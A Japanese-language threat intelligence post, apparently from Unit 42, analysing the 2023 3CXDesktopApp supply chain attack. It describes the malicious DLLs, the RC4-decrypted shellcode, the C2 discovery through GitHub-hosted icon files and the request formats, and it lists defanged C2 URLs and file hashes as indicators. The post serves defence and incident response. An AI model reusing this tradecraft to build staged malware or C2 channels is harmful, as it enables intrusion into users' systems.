脅威に関する情報: 3CXDesktopAppのサプライチェーン攻撃 (2023-04-03 16:45 PDT)

A pictorial representation of a supply chain attack like that against 3CXDesktopApp

This post is also available in: English (英語)

概要

2023年3月29日に3CXDesktopAppというソフトウェアベースの電話アプリケーションが関連するサプライチェーン攻撃がありました。3月30日現在、同ソフトウェア開発者のWebサイトにホストされている3CXDesktopAppのインストーラーは、2つの悪意のあるライブラリーを含むアプリケーションをインストールします。これら悪意のあるライブラリーは、最終的にシェルコードを実行してシステムにバックドアをロードし、脅威アクターが被害者のコンピューターに追加のマルウェアをインストールできるようにします。

2023年3月31日更新: 次世代ファイアウォール NGFWでの保護概要を追記しました。

2023年4月3日更新: Cortex XSOARでの保護概要を追記しました。Cortex XDRとCortex XSIAMについて、macOS環境での対応コンテンツ バージョンを記載しました。Cortex XDRをご利用中の皆さまは、とくに更新などの必要なく、過去・現在ともに保護されています。

現時点ではこれらのライブラリーが3CXDesktopAppのインストーラーに含まれるようになった正確な経緯は確認できていません。私たちは脅威アクターらが3CXDesktopAppアプリケーションのビルド過程でこれらのライブラリーを導入した可能性があると推測しています。これらの悪意のあるコンテンツは、3CXDesktopAppユーザーの侵害を目的として正規アプリケーションに追加されていることから、これはサプライチェーン攻撃を意図したものであることが示唆されます。

3CX製品は世界中で広く使われています。弊社のCortex Xpanseは、3CXのアプリケーションを使っている199カ国24万7,277個の一意なIPアドレスのフィンガープリント採取に成功しました。

2023年3月9日〜3月30日の期間、弊社のCortex XDR利用顧客127社において、3CXDesktopAppプロセスがシェルコードを実行しようとしたアクティビティが確認されています。ただし当該アクティビティはXDRエージェントのIn-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)によりブロックされています。シェルコードをブロックしたことから、攻撃で使われたセカンダリー ペイロードは入手できず、そのケイパビリティや脅威アクターによるエクスプロイト後のアクティビティについては特定できていません。

関連するUnit 42のトピック Threat Brief, Supply Chain

目次

インシデントの詳細
現在の攻撃スコープ
中間ガイダンス
Unit 42 マネージド スレット ハンティング チームによるクエリ
結論
パロアルトネットワークス製品による3CXDesktopAppのサプライチェーン攻撃からの保護
IoC

インシデントの詳細

3CXDesktopAppのサプライチェーン攻撃は、脅威アクターが悪意のあるライブラリーを正規3CXDesktopAppのインストール アプリケーションに導入したことから始まりました。おそらくは、3CXDesktopAppのビルド過程で、これらのライブラリーが導入されたものと考えられます。正規インストーラーに悪意のあるライブラリーが含まれていることから、開発元のWebサイトから3CXDesktopAppのインストーラーをダウンロード・実行することにより被害を受けます。

Unit 42チームは本稿公開時点でWindows・macOS両プラットフォームでの実行を意図した悪意のある3CXDesktopAppのインストーラーを確認しています。Windows用はWindows Installer File (.msi)、macOS用はApple Disk Image file (.dmg)として提供されています。図1は攻撃全体の流れを示した図です。

この図は悪意のあるライブラリーのインストールから最終ペイロードまでの攻撃の流れを示したフローチャートです。
図1. 悪意のある3CXDesktopAppのインストーラーのインストール フロー(Windows用)

Windowsシステム上ではMSIインストーラーが複数のファイルを抽出し、3CXDesktopApp.exeを実行し、ffmpeg.dllという名前のついた悪意のあるライブラリー ファイルをロードします。コンパイラーのメタデータによれば、このDLLは2022年11月12日にコンパイルされています。

このffmpeg.dllライブラリーは、2番目に抽出されたd3dcompiler_47.dllというファイル名のライブラリーを読み込み、その一部を3jB(2bsG#@c7という鍵を使ってRC4方式で復号し、復号した内容をシェルコードとして実行します。このシェルコードはある組み込みのDLLをロードし、当該DLLがエクスポートしたDllGetClassObjectという関数を呼び出します。

初回実行時、このマルウェアは1~4週間先の日付をランダムに生成します。このタイムスタンプは侵害されたコンピューターの現在時刻と照合され、マルウェアはタイムスタンプの日時までスリープします。こうすることで実行まで長く時間をかせぎ、被害者がプログラムにバックドアが仕込まれていると疑わないようにしています。

このDLLはコマンド&コントロール(C2)サーバーを得るために次のURLからあるアイコン ファイルをダウンロードします。このアイコン ファイルは、ファイル名に1~15までのランダムな数字が含まれています。

hxxps://raw.githubusercontent[.]com/IconStorages/images/main/icon[1-15].ico

このリクエストは以下のような形式です。

GET /IconStorages/images/main/icon1.ico HTTP/1.1
accept: */*
accept-language: en-US,en;q=0.9
accept-encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
Cache-Control: no-cache

上記のGitHubアカウントは既に存在していませんが、このURLでホストされていたアイコン ファイルは入手できました。表1に当該アイコン ファイルのハッシュ値、ファイル名、ファイル内から抽出したC2 URLを記載します。

SHA256 アイコン ファイル名 抽出されたC2のURL
a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c icon1.ico hxxps://msstorageazure[.]com/window
d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 icon10.ico と icon11.ico hxxps://akamaitechcloudservices[.]com/v2/storage
d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a icon12.ico hxxps://azureonlinestorage[.]com/azure/storage
4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f icon13.ico hxxps://msedgepackageinfo[.]com/microsoft-edge
8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d icon14.ico hxxps://glcloudservice[.]com/v1/console
f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 icon15.ico hxxps://pbxsources[.]com/exchange
2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f icon2.ico hxxps://officestoragebox[.]com/api/session
268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca icon3.ico hxxps://visualstudiofactory[.]com/workload
c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd icon4.ico hxxps://azuredeploystore[.]com/cloud/services
c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 icon5.ico hxxps://msstorageboxes[.]com/office
f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 icon6.ico hxxps://officeaddons[.]com/technologies
2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de icon7.ico hxxps://sourceslabs[.]com/downloads
e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c icon8.ico hxxps://zacharryblogs[.]com/feed
d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e icon9.ico hxxps://pbxcloudeservices[.]com/phonesystem

表1 ペイロードがC2のURL特定に使ったGitHubアカウントにホストされていたアイコン ファイル

なお、この.icoファイルが、2022年12月7日にこのGitHubリポジトリに最初に登場していたことは注目に値するでしょう(図2のgitログ参照)。ここからは、同攻撃の発生時期について、時系列上の知見が得られます。

この図はリポジトリの変更履歴を示すGitHubログです。
図2. GitHubリポジトリの最初期の変更履歴を示すログ

.icoファイルをダウンロードし、パースし、復号し、次のステージのURLを抽出した後、マルウェアはそのURLに対してHTTPSリクエストを発行します。このリクエストは以下のような形式です。

GET /api/session HTTP/1.1
accept: */*
accept-language: en-US,en;q=0.9
accept-encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36
Host: officestoragebox.com
Connection: Keep-Alive
Cache-Control: no-cache

このリモートC2サーバーはすでに利用できなくなっていますが、マルウェア自体のコントロール フローから、このマルウェアが何を求めていのたのかがわかります。このC2サーバーには、以下の鍵を含むJSON Blobによる応答が求められていました。

{
"url" : [data],
"meta" : [data],
"description" : [data]
}

この"meta"フィールドをパースしてフィールド内のデータを以前に使ったのと同じルーチンで復号します。最後に、復号データが被害者のコンピューター上で直接実行されます。

既知のmacOS用亜種はいずれも、悪意のあるFFmpegライブラリーを含むdmgインストーラーを使っています。実際のライブラリーは以下のパスに存在しています。

3CX Desktop App.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib

macOS用亜種の悪意のあるライブラリーは、Windows用亜種のそれと機能的には似ているものの、より単純です。libffmpeg.dylibライブラリーは、GitHubアカウントにホストされたアイコン ファイルからURLを抽出してC2のURLを取得しようとはしません。macOS用亜種の場合、ハードコードされたURLが16個、通信先C2サーバーとして含まれています(以下の表参照)。

  • msstorageazure[.]com/analysis
  • officestoragebox[.]com/api/biosync
  • visualstudiofactory[.]com/groupcore
  • azuredeploystore[.]com/cloud/images
  • msstorageboxes[.]com/xbox
  • officeaddons[.]com/quality
  • sourceslabs[.]com/status
  • zacharryblogs[.]com/xmlquery
  • pbxcloudeservices[.]com/network
  • pbxphonenetwork[.]com/phone
  • akamaitechcloudservices[.]com/v2/fileapi
  • azureonlinestorage[.]com/google/storage
  • msedgepackageinfo[.]com/ms-webview
  • glcloudservice[.]com/v1/status
  • pbxsources[.]com/queue
  • www.3cx[.]com/blog/event-trainings/

なお、上記のwww.3cx[.]comというURLは3CXのベンダーが所有する正規のWebサイトで、本稿執筆時点ではC2通信には使われていないと考えられます。

macOS用亜種で見つかったURLは、pbxphonenetwork[.]comというドメインを除き、Windows用亜種と同じドメインを使っています。しかし同じドメインと通信する場合のmacOSとWindowsの亜種のURLパスは異なります。

CrowdStrikeはこのアクティビティを同社がLabyrinth Chollimaの名前でトラッキングしている脅威アクターによるものであると公式にアトリビュート(帰属)しています。私たちはこのアトリビューションにいたるIoCの重複を確認できていないのですが、この攻撃で使われた3jB(2bsG#@c7というRC4鍵は、Labyrinth Chollimaが関与した以前のアクティビティで確認されたものであると考えられます。Huntress Labsは、以前DPRK(北朝鮮)の脅威アクターがこの鍵を使っていたことがあり、これがLabyrinth Chollimaとの関連性を示唆しうるものと述べています。現時点で私たちはこのIoC重複について判断できかねるため、引き続きアトリビュートに利用できる証拠を探しています。

現在の攻撃スコープ

3CXの発表によると、当該サプライチェーン攻撃の影響を受けたバージョンは、Update 7でリリースされた3CX Electron Windows App (バージョン18.12.407、18.12.416)と、Electron Mac App (バージョン18.11.1213、18.12.402、18.12.407、18.12.416)です。

XDRとXSIAMのテレメトリーによると、弊社顧客127社のシステムで、3CXDesktopAppプロセスによるシェルコード実行試行のアクティビティが確認されています。ただし当該アクティビティはXDRエージェントのIn-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)によりブロックされています。2023年3月9日〜30日の期間、1,832台の一意なシステム上で、同アクティビティに関連する5,796個のイベントが観測されました。注: Cortex XDRをご利用中の皆さまはとくに更新などの必要なくゼロデイの時点から保護されています。

シェルコード実行をブロックしたことから、攻撃で使われたセカンダリー ペイロードは入手できていません。このセカンダリー ペイロードには、脅威アクターがアクティビティの実行を続ける上で必要とする機能が含まれていたはずです。

3CX製品の普及状況を把握するため、一般公開されている同アプリケーションのフィンガープリントを作成し、弊社Cortex Xpanseでインターネットをスキャンしました。このスキャンの結果、このフィンガープリントに一致するIPアドレスは世界199カ国で24万7,277個見つかりました。3CXの製品は世界中の組織で広く使われていることがわかります。

図3は、3CXの製品フィンガープリントと一致するIPアドレスとTCPポートの組み合わせを持つ国のヒートマップを示したものです。

この図はCortex Xpanseのヒートマップ図です。米国を筆頭に、3CXアプリケーションの利用頻度の高い国を表示しています。
図3. 3CXのインストール数による国別ヒートマップ

中間ガイダンス

3CXは発表のなかで、アプリケーションをアップデートするさい、デスクトップ アプリケーションではなくPWA 製品を利用するよう同社顧客に提案しています。3月30日現在、C2ドメイン名とアイコン ファイルをホストするGitHubリポジトリはすべて削除されています。ただし、悪意のある既知のバージョンの3CXDesktopAppを実行しているシステムがある場合は、IoC(侵害の痕跡)を調査したほうがよいでしょう。

Unit 42 マネージド スレット ハンティング チームによるクエリ

結論

3CXDesktopAppのサプライチェーン攻撃は大きな注目を集めました。これらの製品は広く使用されていますし、弊社Cortex Xpanseによれば世界中で少なくとも24万7,000台のシステムで使用されているからです。弊社の顧客127社の環境で、侵害された3CXDesktopAppアプリケーションが確認されましたが、XDRエージェントのIn-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)により、悪意のあるシェルコードの実行はブロックされました。

現時点では、悪意のある3CXDesktopAppインストーラーは、アクティブな通信対象のC2ドメインを持っていません。しかしながら、既知の侵害されたバージョンの3CXDesktopAppを実行していたシステムや、いずれかのC2用URLと通信していたシステムは、侵害を受けた可能性があり、調査が必要です。

パロアルトネットワークス製品による3CXDesktopAppのサプライチェーン攻撃からの保護

パロアルトネットワークスのお客様には、弊社製品/サービスの保護・更新を通じ、同脅威の特定と防御が提供されています。

次世代ファイアウォール(NGFW)で脅威防御のセキュリティ サブスクリプションを有効にしている場合、脅威防御シグネチャ86729を介したベストプラクティスがC2トラフィック防止に役立ちます。

侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、infojapan@paloaltonetworks.com まで電子メールにてご連絡いただくか、下記の電話番号までお問い合わせください(ご相談は弊社製品のお客様には限定されません)。

  • 北米フリーダイヤル: 866.486.4842 (866.4.UNIT42)
  • 欧州: +31.20.299.3130
  • アジア太平洋: +65.6983.8730
  • 日本: +81.50.1790.0200

Cortex XSOAR

3CXDesktopApp Supply Chain Attackパックには、サードパーティ インテグレーションでのデプロイ用追加シグネチャと自動化されたプレイブックが含まれています。このプレイブックでIoCの収集や組織のSIEMとXDRにおける高度なクエリ実行を支援します。同プレイブックは、侵害されたおそれのあるエンドポイントの復旧も提供します。

Cortex XDRとCortex XSIAM

In-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)とBTP(Behavioral Threat Protection: 振る舞い防御)は、これらの攻撃に対する保護を提供します。これらのモジュールは、複数の野生(in the wild)の攻撃を、悪質なコードの実行前にブロックしていました。macOSでの対応には実行中のコンテンツ バージョンが910-49625またはそれ以降であることを確認してください。すべてのお客様は保護された状態を保っています。

IoC

SHA256 説明
59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3CXDesktopApp-18.12.416.msi インストーラー
aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 3CXDesktopApp-18.12.407.msi インストーラー
5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 3CXDesktopApp-18.11.1213.dmg インストーラー
e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec 3CXDesktopApp-18.12.416.dmg インストーラー
7c55c3dfa373b6b342390938029cb76ef31f609d9a07780772c6010a4297e321 3CXDesktopApp-18.12.416-full.nupkg インストーラー
7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 悪意のある ffmpeg.dll
11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 悪意のある d3dcompiler_47.dll
c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 悪意のある ffmpeg.dll
aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973 d3dcompiler_47.dll内の悪意のある DLL
fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 悪意のある libffmpeg.dylib
a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 悪意のある libffmpeg.dylib
URL 説明
msstorageazure[.]com/analysis macOS用亜種のC2
officestoragebox[.]com/api/biosync macOS用亜種のC2
visualstudiofactory[.]com/groupcore macOS用亜種のC2
azuredeploystore[.]com/cloud/images macOS用亜種のC2
msstorageboxes[.]com/xbox macOS用亜種のC2
officeaddons[.]com/quality macOS用亜種のC2
sourceslabs[.]com/status macOS用亜種のC2
zacharryblogs[.]com/xmlquery macOS用亜種のC2
pbxcloudeservices[.]com/network macOS用亜種のC2
pbxphonenetwork[.]com/phone macOS用亜種のC2
akamaitechcloudservices[.]com/v2/fileapi macOS用亜種のC2
azureonlinestorage[.]com/google/storage macOS用亜種のC2
msedgepackageinfo[.]com/ms-webview macOS用亜種のC2
glcloudservice[.]com/v1/status macOS用亜種のC2
pbxsources[.]com/queue macOS用亜種のC2
msstorageazure[.]com/window Windows用亜種のC2
akamaitechcloudservices[.]com/v2/storage Windows用亜種のC2
azureonlinestorage[.]com/azure/storage Windows用亜種のC2
msedgepackageinfo[.]com/microsoft-edge Windows用亜種のC2
glcloudservice[.]com/v1/console Windows用亜種のC2
pbxsources[.]com/exchange Windows用亜種のC2
officestoragebox[.]com/api/session Windows用亜種のC2
visualstudiofactory[.]com/workload Windows用亜種のC2
azuredeploystore[.]com/cloud/services Windows用亜種のC2
msstorageboxes[.]com/office Windows用亜種のC2
officeaddons[.]com/technologies Windows用亜種のC2
sourceslabs[.]com/downloads Windows用亜種のC2
zacharryblogs[.]com/feed Windows用亜種のC2
pbxcloudeservices[.]com/phonesystem Windows用亜種のC2

ドメイン

  • msstorageazure[.]com
  • officestoragebox[.]com
  • visualstudiofactory[.]com
  • azuredeploystore[.]com
  • msstorageboxes[.]com
  • officeaddons[.]com
  • sourceslabs[.]com
  • zacharryblogs[.]com
  • pbxcloudeservices[.]com
  • pbxphonenetwork[.]com
  • akamaitechcloudservices[.]com
  • azureonlinestorage[.]com
  • msedgepackageinfo[.]com
  • glcloudservice[.]com
  • pbxsources[.]com

2023-04-04 10:20 JST 英語版更新日 2023-04-03 16:45 PDT の内容を反映